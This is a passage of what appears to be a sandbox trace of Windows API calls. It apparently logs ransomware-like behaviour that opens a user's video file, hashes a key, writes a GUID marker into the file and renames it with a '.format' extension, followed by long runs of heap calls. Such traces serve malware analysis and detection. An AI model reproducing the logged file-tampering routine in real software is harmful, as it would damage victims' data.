ftLastAccessTime.dwHighDateTime=0x1d4d322, ftLastWriteTime.dwLowDateTime=0x74c8c310, ftLastWriteTime.dwHighDateTime=0x1d4d322, nFileSizeHigh=0x0, nFileSizeLow=0x17961, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rFlztk.flv", cAlternateFileName="")) returned 1 [0068.679] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\rFlztk.flv") returned=".flv" [0068.680] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\rFlztk.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\rflztk.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.680] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=96609) returned 1 [0068.680] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.682] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x1793b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.682] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.683] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x17961, lpOverlapped=0x0) returned 1 [0068.684] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.684] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.684] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.684] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6ac348) returned 1 [0068.685] CryptCreateHash (in: hProv=0x6ac348, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.685] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.685] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.685] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.685] GetLastError () returned 0x0 [0068.685] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.685] CryptReleaseContext (hProv=0x6ac348, dwFlags=0x0) returned 1 [0068.685] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0068.686] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x17961, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.686] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.686] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.686] CloseHandle (hObject=0x5c8) returned 1 [0068.687] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\rFlztk.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\rflztk.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\Pmee\\rFlztk.flv.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\pmee\\rflztk.flv.format")) returned 1 [0068.688] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.688] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0068.689] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x315d2d0 | out: hHeap=0x5d0000) returned 1 [0068.689] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc861c040, ftCreationTime.dwHighDateTime=0x1d4cdae, ftLastAccessTime.dwLowDateTime=0x74c8c310, ftLastAccessTime.dwHighDateTime=0x1d4d322, ftLastWriteTime.dwLowDateTime=0x74c8c310, ftLastWriteTime.dwHighDateTime=0x1d4d322, nFileSizeHigh=0x0, nFileSizeLow=0x17961, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rFlztk.flv", cAlternateFileName="")) returned 0 [0068.689] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.689] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.689] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175418 | out: hHeap=0x5d0000) returned 1 [0068.689] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.689] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175760 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac018 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31753a0 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac0a0 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ab710 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf08 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x313ab18 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac128 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175c10 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abf90 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31757d8 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x30cd888 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3130e08 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31eda08 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edb58 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175a30 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329f158 | out: hHeap=0x5d0000) returned 1 [0068.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abf90 [0068.690] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.690] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.690] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.691] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.691] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.692] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.692] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.693] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.693] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.694] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.694] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abe80 | out: hHeap=0x5d0000) returned 1 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abe80 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.695] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.695] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, 